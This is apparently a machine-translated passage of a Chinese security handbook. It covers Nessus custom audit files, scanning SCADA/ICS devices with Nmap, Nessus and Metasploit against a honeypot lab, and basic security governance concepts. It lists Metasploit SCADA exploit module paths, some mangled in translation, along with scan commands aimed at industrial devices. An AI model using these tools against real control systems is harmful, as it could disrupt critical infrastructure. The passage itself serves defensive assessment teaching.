end
end
- 将脚本保存在 Nmap 安装目录的
scripts
文件夹中,并使用以下语法执行它:
nmap --script apache-default-files 192.168.75.128 -p8180 -v
工作原理...
您可以使用类似的技术通过使用复杂的库和 Lua 语言的多个函数来创建复杂的脚本。可以使用-A
参数基于端口和可用服务一起执行这些脚本。这将减少用户在提及每个所需脚本方面的工作量。
了解 Nessus 审计策略及其自定义
Nessus 审计文件由自定义基于 XML 的规则组成,用于执行各种平台的配置审计。这些文件允许用户执行当前配置的值和基于正则表达式的比较,并确定存在的差距。通常,预期这些审计文件是根据行业标准基线准备的,以便显示实际的合规差距,并且管理团队可以同时进行加固和合规工作。自定义审计文件应保存为扩展名.audit
。
以下是审计文件中检查的通用语法:
<item>
name : " "
description : " "
info : " "
value : " "
</item>
我们将查看一些 Windows 的标准检查,以便了解各种通用和自定义检查。所有默认检查都以<item>
开头,所有自定义检查都以<custom_item>
开头:
-
值数据:审计文件中的关键字可以根据
value_data
标签分配数据。此部分描述了可以在审计文件中定义的不同关键字以及它们可以保存的值。value_data
的数据类型为 DWORD。value_data
还可以使用算术符号(如||
、&&
等)来提供复杂表达式: -
Check_type
:此属性用于比较从远程主机获取的值是否为策略值,并根据配置的属性返回结果。此属性的某些版本如下: -
CHECK_EQUAL
-
CHECK_EQUAL_ANY
-
CHECK_NOT_EQUAL
-
CHECK_GREATER_THAN
-
CHECK_GREATER_THAN_OR_EQUAL
-
信息:这是一个可选字段,用于添加有关正在执行的检查的信息。其语法如下:
info: "Password policy check"
-
- 调试:此关键字可用于获取用于排除故障的信息。这会生成关于检查执行的逐步数据,允许作者了解错误。
-
访问控制列表格式(ACL):此设置部分包含可以保存值以检测所需 ACL 设置是否已应用于文件的关键字。ACL 格式支持六种不同类型的访问列表关键字,如下:
-
文件访问控制检查(
file_acl
) -
注册表访问控制检查(
registry_acl
) -
服务访问控制检查(
service_acl
) -
启动权限控制检查(
launch_acl
) -
访问权限控制检查(
access_acl
)
前述关键字可用于定义特定用户的文件权限,以下是相关类型。这些权限类别可能对不同的关键字有不同的更改:
-
-
Acl_inheritance
-
-
Acl_apply
-
Acl_allow
-
Acl_deny
这些关键字对文件夹有不同的权限集。以下是可以使用file_acl
的语法:
<file_acl: ["name"]>
<user: ["user_name"]>
acl_inheritance: ["value"]
acl_apply: ["value"]
</user>
</acl>
可以通过将file_acl
替换为相应的关键字来使用所有其他关键字的类似语法。
- 项目:项目是检查类型,并可用于执行预定义的审计检查。这减少了语法,因为策略是预定义的,并且在此处使用属性进行调用。以下是项目的结构:
<item>
name: ["predefined_entry"]
value: [value]
</item>
该值可以由用户定义,但名称需要与预定义策略中列出的名称匹配。以下是我们将在此处使用的一些关键字和标记,以创建自定义的 Windows 和 Unix 审计文件。
-
check_type
:每个审计文件都以check_type
标签开头,其中可以定义操作系统和版本。一旦审计文件完成,需要关闭此标签以标记审计文件的结束:
<check_type:"Windows" version:" ">
-
name
:name
属性需要与预定义策略中的名称相同,以便从预定义策略中获取逻辑:
name: "max_password_age"
-
type
: 类型变量保存了用于特定检查的策略项的名称:
type: PASSWORD_POLICY
-
description
: 此属性保存了检查的用户定义名称。这可以是任何有助于识别检查中正在进行的操作的内容:
description: " Maximum password age"
-
info
: 此属性通常用于保存逻辑,以便用户了解检查中执行的操作:
info: "Maximum password age of 60 days is being checked."
-
Value
: 此属性是 DWORD 类型,包括要与主机上的远程值进行比较的策略值:
Value: "8"
-
cmd
: 这个属性保存了要在远程系统上执行的命令,以获取正在检查的项目的值:
cmd : "cat /etc/login.defs | grep -v ^# | grep PASS_WARN_AGE | awk {'print $2'}"
-
regex
: 此属性可用于执行基于正则表达式的远程值比较。然后可以将其与策略值进行比较,以确保检查成功,即使配置存储在不同的格式中:
regex: "^[\\s]*PASS_WARN_AGE\\s+"
-
expect
: 此策略项包括预期在设备上配置的基线策略值。否则,它用于报告配置中的差距:
expect: "14"
-
Custom_item
: 自定义审核检查是由用户使用 NASL 定义的,并根据检查中提供的说明由 Nessus 合规性解析器解析的内容。这些自定义项目包括自定义属性和自定义数据值,这将允许用户定义所需的策略值并相应地准备审核文件。
-
value_type
: 此属性包括当前检查允许的不同类型的值:
value_type: POLICY_TEXT
-
value_data
: 此属性包括可以输入检查的数据类型,例如:
-
value_data: 0
-
value_data: [0..20]
-
value_data: [0..MAX]
-
Powershell_args
: 此属性包括要传递并在 Windows 系统上执行的powershell.exe
的参数。
-
Ps_encoded_args
: 此属性用于允许将 PowerShell 参数或文件作为 Base 64 字符串传递给 PowerShell,例如,powershell_args
:
'DQAKACIAMQAwACADFSIGHSAPFIUGHPSAIUFHVPSAIUVHAIPUVAPAUIVHAPIVdAA7AA0ACgA='
ps_encoded_args: YES
在这个教程中,我们将创建一个 Windows 审核文件,以检查系统分区中的可用磁盘空间。
准备就绪
为了完成这个活动,您需要满足机器上的以下先决条件:
-
您必须安装 Nessus。
-
您必须能够访问要执行扫描的主机的网络。
要安装 Nessus,您可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nessus 并安装所有必需的插件。要检查您的机器是否安装了 Nessus,请打开搜索栏并搜索Nessus Web Client
。找到并点击后,它将在默认浏览器窗口中打开:
如果您确定 Nessus 已正确安装,您可以直接从浏览器使用localhost:8834
URL 打开 Nessus Web Client。如果找不到 Nessus Web Client,则应删除并重新安装 Nessus。有关删除 Nessus 和安装说明,请参阅第二章,了解网络扫描工具。如果找到了 Nessus Web Client,但无法在浏览器窗口中打开它,则需要检查 Windows 服务实用程序中是否正在运行 Nessus 服务:
您可以根据需要使用服务实用程序进一步启动和停止 Nessus。为了进一步确认安装使用命令行界面,您可以导航到安装目录以查看和访问 Nessus 命令行实用程序:
建议始终使用管理员级别或根级别凭据,以便为扫描仪提供对所有系统文件的访问权限。这将允许扫描仪执行更深入的扫描,并与非凭证扫描相比提供更好的结果。策略合规模块仅在 Nessus 的付费版本中可用,例如 Nessus 专业版或 Nessus 管理器。为此,您将需要从 Tenable 购买激活密钥,并在设置页面中更新它,如下图所示:
单击编辑按钮打开窗口,并输入您从 Tenable 购买的新激活码:
如何操作…
执行以下步骤:
-
打开 Notepad++或任何文本编辑器。
-
为了创建一个自定义项目的 Windows 检查,我们需要用
custom_item
标签开始和结束检查:
<custom_item>
</custom_item>
- 现在,我们需要识别所需的元数据属性并定义它们。在这种情况下,我们将使用
description
和info
:
<custom_item>
description: "Free disk space in system partition#C drive"
info: "Powershell command will output the free space available on C drive"
</custom_item>
- 现在,我们需要定义我们需要执行的检查类型。Nessus 在 PowerShell 上执行所有 NASL Windows 命令,因此检查的类型将是
AUDIT_POWERSHELL
:
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
</custom_item>
- 现在,我们需要定义检查支持的值类型和值数据。在这种情况下,我们将选择策略类型,并将
0
设置为MAX
:
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
value_type: POLICY_TEXT
value_data: "[0..MAX]"
</custom_item>
- 现在,我们需要传递要由 PowerShell 执行的命令以获取
C
驱动器中的可用空间:
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
value_type: POLICY_TEXT
value_data: "[0..MAX]"
powershell_args : 'Get-PSDrive C | Select-Object Free'
</custom_item>
- 由于我们没有将编码命令传递给 PowerShell,因此我们需要使用
ps_encoded_args
属性定义相同的内容:
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
value_type: POLICY_TEXT
value_data: "[0..MAX]"
powershell_args : 'Get-PSDrive C | Select-Object Free'
ps_encoded_args: NO
</custom_item>
- 由于它不需要任何精炼,命令的输出就足够了,这样我们就知道有多少可用空间,我们还将定义
only_show_cmd_output: YES
属性:
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
value_type: POLICY_TEXT
value_data: "[0..MAX]"
powershell_args : 'Get-PSDrive C | Select-Object Free'
ps_encoded_args: NO
only_show_cmd_output: YES
</custom_item>
正如我们所看到的,所有审计文件都以check_type
开头和结尾,我们将前面的代码封装在其中:
<check_type:"windows" version:"2">
<custom_item>
type: AUDIT_POWERSHELL
description: "Free disk space in system partition#C drive"
info : "Powershell command will output the free space available on C drive"
value_type: POLICY_TEXT
value_data: "[0..MAX]"
powershell_args : 'Get-PSDrive C | Select-Object Free'
ps_encoded_args: NO
only_show_cmd_output: YES
</custom_item>
</check_type>
- 将文件保存为扩展名为
.audit
的文件到您的系统上,并使用安装过程中创建的凭据登录 Nessus:
- 打开策略选项卡,然后单击使用高级扫描模板创建新策略。填写必要的细节,如策略名称和描述:
- 导航到合规部分,并在筛选合规搜索栏中搜索自定义 Windows:
- 选择上传自定义 Windows 审计文件选项:
- 单击添加文件并上传您创建的审计文件:
- 为了执行合规审计,您将需要输入 Windows 凭据。导航到凭据部分,然后单击 Windows 选项:
-
保存策略并导航到“我的扫描”页面创建新的扫描。
-
导航到用户定义的策略部分,并选择我们创建的自定义 Windows 审计策略:
- 填写必要的细节,如扫描名称和受影响的主机,并启动扫描:
工作原理...
这些自定义审计文件可用于审计多个平台,因为 NASL 支持多个平台的关键工作和属性,这些值是自定义的,特定于这些平台的配置。这使用户可以轻松创建审计文件并根据其要求和基线自定义它们,以执行配置审计并识别这些差距。以下是 Nessus 支持执行配置审计的平台列表:
-
Windows:
-
Windows 2003 Server
-
Windows 2008 Server
-
Windows Vista
-
Windows 7
-
Unix:
-
Solaris
-
Linux
-
FreeBSD/OpenBSD/NetBSD
-
HP/UX
-
AIX
-
macOS X
-
其他平台:
-
思科
-
SCADA
第八章:物联网、SCADA/ICS 的网络扫描
在本章中,我们将介绍以下内容:
-
SCADA/ICS 简介
-
使用 Nmap 扫描 SCADA/ICS
-
使用 Nessus 扫描 SCADA/ICS 系统
SCADA/ICS 简介
用于管理和执行各种工业操作的自动化技术,如线路管理控制和操作控制,属于运营技术的一部分:
工业控制系统(ICS)涵盖了运营技术领域的一个很大部分,用于监控和控制各种操作,如自动化生产,硬件系统的控制和监控,通过控制水位和核设施的流量来调节温度。大多数 ICS 的使用都是在非常关键的系统中,这些系统需要始终可用。
用于 ICS 的硬件有两种类型,即可编程逻辑控制器(PLC)或离散过程控制系统(DPC),这些系统又由监控和数据采集(SCADA)系统管理。SCADA 通过提供基于界面的控制,而不是用户手动输入每个命令,使得管理 ICS 系统变得容易。这使得这些系统的管理变得强大且简单,从而实现了非常高的可用性:
主要组件如下:
-
SCADA 显示单元基本上是一个为管理员提供交互界面的组件,用于查看、验证和修改要传递给 ICS 系统的各种命令。这使用户可以远程控制 ICS 系统,而无需实际在现场。例如,远程管理员可以使用 Web 门户管理建筑物中所有恒温器的配置。
-
控制单元充当 SCADA 显示单元和远程终端单元之间的桥梁。控制单元始终需要将来自远程终端单元的数据实时发送到 SCADA 显示单元。这是为了通知管理员任何故障,以便查看和修复以确保系统的高可用性。
-
远程终端单元(RTU)可以是可编程逻辑控制器(PLC)(一种制造业标准计算机,用于处理和执行指令),它连接多个设备到 SCADA 网络,使它们能够从远距离监控和管理。RT、控制单元和 SCADA 显示单元之间的连接不需要是有线网络,也可以是无线网络。
保护这些 SCADA 系统非常重要,因为简单的配置错误可能导致实际工业制造环境中的灾难。有许多开源工具可用于此目的。Nmap 就是这样一种工具,它允许用户为 SCADA/ICS 系统端口扫描编写自定义脚本。此外,分析人员可以使用 Metasploit 模块来利用 SCADA/ICS 环境中的这些漏洞。
以下是一些可以用于识别和利用 SCADA/ICS 系统问题的 Metasploit 模块:
供应商 | 系统/组件 | Metasploit 模块 |
---|---|---|
7-Technologies | IGSS | exploit/windows/scada/igss9_igssdataserver_listall.rb |
exploit/windows/scada/igss9_igssdataserver_rename.rb |
||
exploit/windows/scada/igss9_misc.rb |
||
auxiliary/admin/scada/igss_exec_17.rb |
||
AzeoTech | DAQ Factory | exploit/windows/scada/daq_factory_bof.rb |
3S | CoDeSys | exploit/windows/scada/codesys_web_server.rb |
BACnet | OPC Client | exploit/windows/fileformat/bacnet_csv.rb |
操作工作站 | exploit/windows/browser/teechart_pro.rb |
|
Beckhoff | TwinCat | auxiliary/dos/scada/beckhoff_twincat.rb |
通用电气 | D20 PLC | 辅助/收集/d20pass.rb |
不稳定模块/辅助/d20tftpbd.rb |
||
Iconics | Genesis32 | 利用/Windows/SCADA/iconics_genbroker.rb |
利用/Windows/SCADA/iconics_webhmi_setactivexguid.rb |
||
Measuresoft | ScadaPro | 利用/Windows/SCADA/scadapro_cmdexe.rb |
Moxa | 设备管理器 | 利用/Windows/SCADA/moxa_mdmtool.rb |
RealFlex | RealWin SCADA | 利用/Windows/SCADA/realwin.rb |
利用/Windows/SCADA/realwin_scpc_initialize.rb |
||
利用/Windows/SCADA/realwin_scpc_initialize_rf.rb |
||
利用/Windows/SCADA/realwin_scpc_txtevent.rb |
||
利用/Windows/SCADA/realwin_on_fc_binfile_a.rb |
||
利用/Windows/SCADA/realwin_on_fcs_login.rb |
||
Scadatec | Procyon | 利用/Windows/SCADA/procyon_core_server.rb |
施耐德电气 | CitectSCADA | 利用/Windows/SCADA/citect_scada_odbc.rb |
SielcoSistemi | Winlog | 利用/Windows/SCADA/winlog_runtime.rb |
西门子 Technomatix | FactoryLink | 利用/Windows/SCADA/factorylink_cssservice.rb |
利用/Windows/SCADA/factorylink_vrn_09.rb |
||
Unitronics | OPC 服务器 | 利用/利用/Windows/浏览器/teechart_pro.rb |
还有许多开源工具可以执行这些操作。其中一个工具是 PLCScan。
PLCScan 是一个用于识别 PLC 设备的实用程序,使用端口扫描方法。它识别先前记录的各种 SCADA/PLC 设备的特定端口接收到的数据包。它使用一组后端脚本来执行这些操作。
使用自动化脚本扫描控制系统可能是一项繁琐的任务,因为它们很容易崩溃。大多数 SCADA/ICS 系统都是传统系统,使用传统软件,不太适合更换,并且没有足够的硬件来进行自动化。这导致了许多漏洞。
使用 Nmap 扫描 SCADA/ICS
Nmap 提供多个脚本,其功能还允许用户创建多个自定义脚本来识别网络中存在的 SCADA 系统。这使分析人员能够创建特定的测试用例来测试 SCADA 系统。最新的 Nmap 脚本库中默认提供的一些脚本如下:
-
s7-info.nse
:用于枚举西门子 S7 PLC 设备并收集系统名称、版本、模块和类型等信息。此脚本的工作方式类似于 PLCScan 实用程序。 -
modbus-discover.nse
:枚举 SCADA Modbus 从机 ID(sids)并收集从机 ID 号和从机 ID 数据等信息。Modbus 是各种 PLC 和 SCADA 系统使用的协议。
我们将在接下来的示例中看到这些脚本的语法和用法。
准备就绪
为了完成这项活动,您必须满足计算机上的以下先决条件:
-
您必须安装 Nmap。
-
您必须能够访问要执行扫描的主机的网络。
为了安装 Nmap,您可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nmap 并安装所有必需的插件。为了检查您的计算机是否安装了 Nmap,请打开命令提示符并输入Nmap
。如果 Nmap 已安装,您将看到类似以下的屏幕:
如果您没有看到上述屏幕,请尝试将命令提示符控制移动到 Nmap 安装的文件夹中(C:\Program Files\Nmap
)重试相同步骤。如果这样做后仍然没有看到屏幕,请删除并重新安装 Nmap。
为了对要扫描的主机上的开放端口进行填充,您需要对该特定主机具有网络级别的访问权限。通过向主机发送 ping 数据包来检查您是否可以访问特定主机是一种简单的方法。但是,如果在该网络中禁用了 ICMP 和 ping,则此方法将无效。在禁用 ICMP 的情况下,活动主机检测技术也会有所不同。我们将在本书的后续部分详细讨论这一点。
此外,为了创建一个测试环境,在 Kali 操作系统上安装 Conpot,这是一个著名的蜜罐,按照提供的说明进行:github.com/mushorg/conpot
。
安装 Conpot 后,使用以下命令在系统上运行 Conpot:
sudoconpot --template default
如何做…
执行以下步骤:
-
在命令提示符中打开 Nmap。
-
在命令提示符中输入以下语法以获取
scripts7-info.nse
脚本的扫描结果:
Nmap --script s7-info.nse -p 102 192.168.75.133
您可以观察到扫描器已经检测到系统是西门子,SIMATIC,S7-200
设备。
- 在命令提示符中输入以下语法以获取
modbu-discover.nse
脚本的扫描结果:
Nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 192.168.75.133
此模块还发现设备是西门子,SIMATIC,S7-200
。
工作原理...
这些 Nmap 脚本允许用户识别 SCADA 系统正在使用的特定端口。例如,如前面的示例所示,端口102
和502
是可以用来确定网络中是否有任何 SIMATIC 设备的特定端口。分析人员可以扫描整个网络以查找端口102
和502
,一旦找到,他们可以执行服务扫描以检查其中是否有任何相关的 SCADA 软件在运行。
还有更多...
在任何给定的情况下,如果 Nmap 中的默认脚本没有完成工作,那么用户可以从 GitHub 或其他资源下载其他开发人员开发的自定义 Nmap 脚本,并将它们粘贴到 Nmap 安装文件夹的脚本文件夹中以使用它们。例如,从链接github.com/jpalanco/Nmap-scada
克隆文件夹,以便在脚本文件夹中粘贴多个其他 SCADA 系统,以便您可以使用 Nmap 运行它们:
使用 Nessus 扫描 SCADA/ICS 系统
Nessus 有一个插件系列-大约有 308 页-可以用来对 SCADA/ICS 设备进行扫描。您可以在这里浏览插件系列:www.tenable.com/plugins/nessus/families/SCADA
。这些插件会根据插件中的签名检查给定设备,以识别任何已经确定的漏洞。
准备工作
为了完成这个活动,您必须满足机器上的以下先决条件:
-
您必须安装 Nessus。
-
您必须能够访问要执行扫描的主机。
要安装 Nessus,您可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nessus 并安装所有必需的插件。为了检查您的机器是否安装了 Nessus,打开搜索栏并搜索Nessus Web Client
。一旦找到并点击,它将在默认浏览器窗口中打开:
如果您确定 Nessus 已正确安装,可以直接从浏览器使用https://localhost:8834
URL 打开 Nessus Web 客户端。如果找不到Nessus Web 客户端,应删除并重新安装 Nessus。有关删除 Nessus 和安装说明,请参阅第二章,了解网络扫描工具。如果找到了 Nessus Web 客户端,但无法在浏览器窗口中打开它,则需要检查 Nessus 服务是否在 Windows 服务实用程序中运行:
此外,您可以根据需要使用服务实用程序启动和停止 Nessus。为了进一步确认此安装是否使用命令行界面,您可以导航到安装目录以查看和访问 Nessus 的命令行实用程序:
建议始终具有管理员级别或根级别凭据,以便为扫描仪提供对所有系统文件的访问权限。这将使扫描仪能够执行更深入的扫描,并生成比非凭证扫描更好的结果。策略合规模块仅在 Nessus 的付费版本(如 Nessus 专业版或 Nessus 管理器)中可用。为此,您将需要从 tenable 购买激活密钥,并在设置页面中更新它,如下图所示:
单击编辑按钮打开窗口,并输入您从 tenable 购买的新激活码:
此外,您可以安装 Conpot,如前面的食谱中所述。此食谱还需要安装 Kali Linux 操作系统。您可以从www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
下载虚拟机,从www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
下载 Kali Linux。
如何做..
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用您在安装期间创建的用户登录到 Nessus 客户端。
-
点击策略选项卡,然后选择创建新策略。然后,选择基本网络扫描模板:
通过在发现选项卡中更改端口扫描的设置,指定范围为1-1000
。这将允许扫描仪快速完成扫描:
- 确保在评估的常规设置类别的准确性选项卡中未选择执行彻底测试:
这将确保 PLC 或您正在执行扫描的任何其他设备不会受到由于产生的流量而产生的任何影响。您还可以设置高级设置,以确保生成的流量最小:
- 确保插件选项卡中存在 SCADA 插件,否则获得的结果将仅适用于非 SCADA 端口:
- 保存策略,并从
我的扫描
文件夹中选择新扫描。转到用户定义策略部分,并选择策略:
- 选择策略并填写所需的详细信息。然后,启动扫描:
- 等待扫描完成并打开结果:
上述结果表明扫描成功,并且 Nessus 发现了两个与 SCADA 相关的漏洞:
- ICCP/COTP(ISO 8073)协议检测:
- Modbus/TCP 线圈访问:
工作原理...
这些扫描结果将允许用户进行进一步分析,以检查系统中已知的漏洞。从中,用户可以向管理员建议所需的补丁。必须始终确保所有 SCADA 连接都是加密的端到端,否则仅限于执行点对点连接。
还有更多...
可以使用 Metasploit 模块执行类似的检查。打开我们在虚拟机中安装的 Kali Linux,并在终端中输入以下命令:
msfconsole
这用于打开 Metasploit 控制台。还有一个名为 Armitage 的 Metasploit 的 GUI 版本可用。要查找适用于 SCADA 的各种 Metasploit 模块,请输入以下命令:
searchscada
如前面的屏幕截图所示,Metasploit 支持的 SCADA 的各种模块已加载。让我们尝试对 Modbus 进行特定搜索,看看支持哪些模块:
searchmodbus
从前面的屏幕截图中,您可以使用modbusdetect
来识别端口502
上是否运行 Modbus,使用以下语法:
use auxiliary/scanner/scada/modbusdetect
通过使用show options
填写所需的详细信息来识别相同的内容:
使用以下命令将 RHOSTS 设置为192.168.75.133
并运行 exploit:
set RHOSTS 192.168.75.133
前面的屏幕截图显示模块已经检测到端口502
上存在 Modbus。
第九章:漏洞管理治理
今天的技术环境正在以极快的速度发生变化。几乎每天都会有一些新技术的引入并在短时间内获得流行。尽管大多数组织确实适应了快速变化的技术,但他们往往没有意识到新技术的使用会改变组织的威胁环境。虽然组织的现有技术环境可能已经存在漏洞,但引入新技术可能会在技术环境中增加更多的 IT 安全风险。
为了有效地减轻所有风险,重要的是在整个组织中实施强大的漏洞管理计划。本章将介绍一些基本的治理概念,这些概念将有助于为实施漏洞管理计划奠定坚实的基础。本章的关键学习要点如下:
-
安全基础知识
-
了解安全评估的需求
-
列出漏洞管理的业务驱动因素
-
计算投资回报率
-
建立上下文
-
制定和推出漏洞管理政策和程序
-
渗透测试标准
-
行业标准
安全基础知识
安全是一个主观的问题,设计安全控制通常是具有挑战性的。一个特定的资产可能需要更多的保护来保持数据的机密性,而另一个资产可能需要确保最高的完整性。在设计安全控制时,同样重要的是在控制的有效性和最终用户的使用便利性之间取得平衡。本节在进一步介绍更复杂的概念之前,介绍了一些基本的安全基础知识。
CIA 三角
机密性、完整性和可用性(通常称为CIA)是信息安全的三个关键原则。虽然有许多因素有助于确定系统的安全状况,但机密性、完整性和可用性是其中最突出的。从信息安全的角度来看,任何给定的资产都可以根据其机密性、完整性和可用性的价值进行分类。本节在概念上强调了 CIA 的重要性,并提供了实际示例和针对每个因素的常见攻击。
机密性
单词机密性的词典含义是:保持秘密或私人的状态。在信息安全的背景下,机密性意味着保持信息免受未经授权的访问,这是信息安全的主要需求之一。以下是一些我们经常希望保持机密的信息的例子:
-
密码
-
个人识别号码
-
信用卡号、到期日期和 CVV
-
商业计划和蓝图
-
财务信息
-
社会安全号码
-
健康记录
机密性的常见攻击包括:
-
数据包嗅探:这涉及拦截网络数据包,以非法获取网络中流动的信息
-
密码攻击:包括猜测密码、使用暴力或字典攻击破解密码等
-
端口扫描和 ping 扫描:端口扫描和 ping 扫描用于识别给定网络中的活动主机,然后对活动主机进行一些基本的指纹识别
-
垃圾箱搜寻:这涉及搜索和挖掘目标组织的垃圾箱,试图可能获得敏感信息
-
肩窥:这是一个简单的行为,任何站在你身后的人都可能偷看你输入的密码
-
社会工程:社会工程是操纵人类行为以提取敏感信息的行为
-
网络钓鱼和网络诱骗:这涉及向受害者发送虚假和欺骗性的电子邮件,冒充身份,并欺骗受害者提供敏感信息。
-
窃听:这类似于数据包嗅探,但更多地与电话对话的监视有关。
-
键盘记录:这涉及在受害者的系统上安装一个秘密程序,记录并发送受害者输入的所有按键。
完整性
信息安全背景下的完整性是指信息的质量,意味着一旦生成的信息不应该被任何未经授权的实体篡改。例如,如果一个人使用在线银行向他的朋友发送X金额的钱,他的朋友在他的账户中确切地收到X金额,那么交易的完整性就是完整的。如果交易在中间被篡改,朋友收到X + (n)或X - (n)金额,那么交易的完整性就被认为在交易过程中被篡改了。
对完整性的常见攻击包括:
-
莎莉米攻击:当单一攻击被分割或分解为多个小攻击,以避免被检测,这被称为莎莉米攻击。
-
数据篡改攻击:这涉及在数据输入到系统之前或期间未经授权地修改数据。
-
信任关系攻击:攻击者利用实体之间的信任关系获得未经授权的访问。
-
中间人攻击:攻击者连接到通信渠道,拦截流量,并篡改数据。
-
会话劫持:使用中间人攻击,攻击者可以劫持已经建立的合法活动会话。
可用性
可用性原则规定,如果授权个人请求资源或信息,它应该在没有任何中断的情况下可用。例如,一个人想要使用在线银行设施下载他的银行账单。由于某种原因,银行的网站关闭了,这个人无法访问。在这种情况下,可用性受到影响,因为这个人无法在银行的网站上进行交易。从信息安全的角度来看,可用性和保密性以及完整性一样重要。出于任何原因,如果请求的数据在规定时间内不可用,可能会造成严重的有形或无形的影响。
对可用性的常见攻击包括以下内容:
-
拒绝服务攻击:在拒绝服务攻击中,攻击者向目标系统发送大量请求。请求的数量如此之大,以至于目标系统无法响应。这导致目标系统的失败,并且来自所有其他合法用户的请求都被拒绝。
-
SYN 洪水攻击:这是一种拒绝服务攻击的一种类型,攻击者向目标发送大量的 SYN 请求,目的是使其无响应。
-
分布式拒绝服务攻击:这与拒绝服务攻击非常相似,不同之处在于用于攻击的系统数量。在这种类型的攻击中,攻击者使用数百甚至数千个系统来淹没目标系统。
-
电力攻击:这种类型的攻击涉及对电力单元的故意修改,目的是造成停电并使目标系统崩溃。
-
服务器房环境攻击:服务器房间是温度控制的。任何故意干扰服务器房间环境的行为都可能导致关键服务器系统崩溃。
-
自然灾害和事故:这包括地震、火山喷发、洪水等,或任何意外的人为错误。
识别
认证通常被认为是与系统交互的第一步。然而,认证之前是识别。主体可以通过识别的过程来声明身份,从而启动问责制。为了启动认证、授权和问责制(AAA)的过程,主体必须向系统提供一个身份。输入密码、刷 RFID 门禁卡或留下指纹印记是提供个人身份的最常见和简单的方式之一。在没有身份的情况下,系统无法将认证因素与主体相关联。在确定主体的身份之后,随后执行的所有操作都将针对主体进行记录,包括信息系统跟踪基于身份的活动,而不是个人。计算机无法区分人类。然而,计算机可以很好地区分用户帐户。它清楚地知道一个用户帐户与所有其他用户帐户不同。然而,仅仅声称一个身份并不暗示访问或权限。主体必须首先证明其身份才能获得对受控资源的访问。这个过程被称为识别。
认证
验证和测试所声称的身份是否正确和有效被称为认证过程。为了进行认证,主体必须提供与之前建立的身份完全相同的附加信息。密码是用于认证的最常见类型的机制之一。
以下是通常用于认证的一些因素:
-
你所知道的东西:你所知道的因素是用于认证的最常见因素。例如,密码或简单的个人识别号码(PIN)。然而,它也是最容易被破坏的。
-
你所拥有的东西:你所拥有的因素指的是智能卡或物理安全令牌等物品。
-
你所是的东西:你所是的因素指的是使用你的生物特征进行认证的过程。例如,使用指纹或视网膜扫描进行认证。
识别和认证总是作为一个单一的两步过程一起使用。
提供身份是第一步,提供认证因素是第二步。没有这两者,主体无法获得对系统的访问。单独的元素在安全方面都是没有用的。
对认证的常见攻击包括:
-
暴力破解:暴力破解攻击涉及尝试特定字符集的所有可能的排列和组合,以获取正确的密码
-
认证不足:使用弱密码策略的单因素认证使应用程序和系统容易受到密码攻击
-
弱密码恢复验证:这包括对密码恢复机制(如安全问题、OTP 等)的不充分验证
授权
一旦主体成功认证,下一个逻辑步骤是获得对分配资源的授权访问。
成功授权后,经过认证的身份可以请求访问对象,前提是它具有必要的权限和特权。
访问控制矩阵是用于评估和比较主体、对象和预期活动的最常见技术之一。如果主体被授权,那么特定的操作是允许的,如果主体未经授权,则被拒绝。
需要注意的是,被识别和认证的主体不一定被授予访问任何东西的权利和特权。访问权限是基于主体的角色和需要知道的基础上授予的。识别和认证是访问控制的全有或全无方面。
以下表格显示了一个样本访问控制矩阵:
资源 | |
---|---|
用户 | 文件 1 |
用户 1 | 读取 |
用户 2 | - |
用户 3 | 写入 |
从前面的样本访问控制矩阵中,我们可以得出以下结论:
-
用户 1 无法修改文件 1
-
用户 2 只能读取文件 2,而不能读取文件 1
-
用户 3 可以读取/写入文件 1 和文件 2
对授权的常见攻击包括以下内容:
-
授权蔓延:授权蔓延是一个术语,用来描述用户故意或无意地获得了比实际需要更多的权限
-
水平特权升级:当用户能够绕过授权控制并获得与同级别用户相同的特权时,就发生了水平特权升级
-
垂直特权升级:当用户能够绕过授权控制并获得更高层次用户的特权时,就发生了垂直特权升级
审计
审计或监视是指跟踪和/或记录主体在系统上进行身份验证后的行为的过程。审计还可以帮助监视和检测系统上的未经授权或异常活动。审计包括捕获和保留主体及其对象的活动和/或事件,以及记录维护操作环境和安全机制的核心系统功能的活动和/或事件。
审计日志中需要捕获的最小事件如下:
-
用户 ID
-
用户名
-
时间戳
-
事件类型(如调试、访问、安全)
-
事件详情
-
源标识符(如 IP 地址)
捕获系统事件并创建日志的审计跟踪可以用于评估系统的健康和性能。在系统故障的情况下,可以使用事件日志追溯根本原因。日志文件还可以为重新创建事件的历史、追溯入侵或系统故障提供审计跟踪。大多数操作系统、应用程序和服务都具有某种本地或默认的审计功能,至少可以提供最基本的事件。
对审计的常见攻击包括以下内容:
-
篡改日志:包括未经授权修改审计日志
-
未经授权访问日志:攻击者可以未经授权访问日志,意图提取敏感信息
-
通过审计日志进行拒绝服务:攻击者可以发送大量垃圾请求,意图填满日志,进而填满磁盘空间,导致拒绝服务攻击
会计
只有在责任制得到良好维护时,任何组织才能成功实施其安全策略。保持责任制可以帮助追究主体的所有行为。任何给定的系统可以根据其追踪和证明主体身份的能力来说是有效的。
各种机制,如审计、认证、授权和识别,有助于将人类与他们执行的活动联系起来。
仅使用密码作为身份验证的形式会产生很大的疑虑和妥协空间。有许多轻松的方法可以破解密码,这就是为什么它们被认为是最不安全的身份验证形式。当多种身份验证因素(如密码、智能卡和指纹扫描)结合使用时,身份盗窃或妥协的可能性会大大降低。
不可否认
不可否认是指主体无法否认活动或事件发生的保证。不可否认可以防止主体声称未发送消息、未执行操作或未导致事件的发生。
可以帮助实现不可否认性的各种控制如下:
-
数字证书
-
会话标识符
-
交易日志
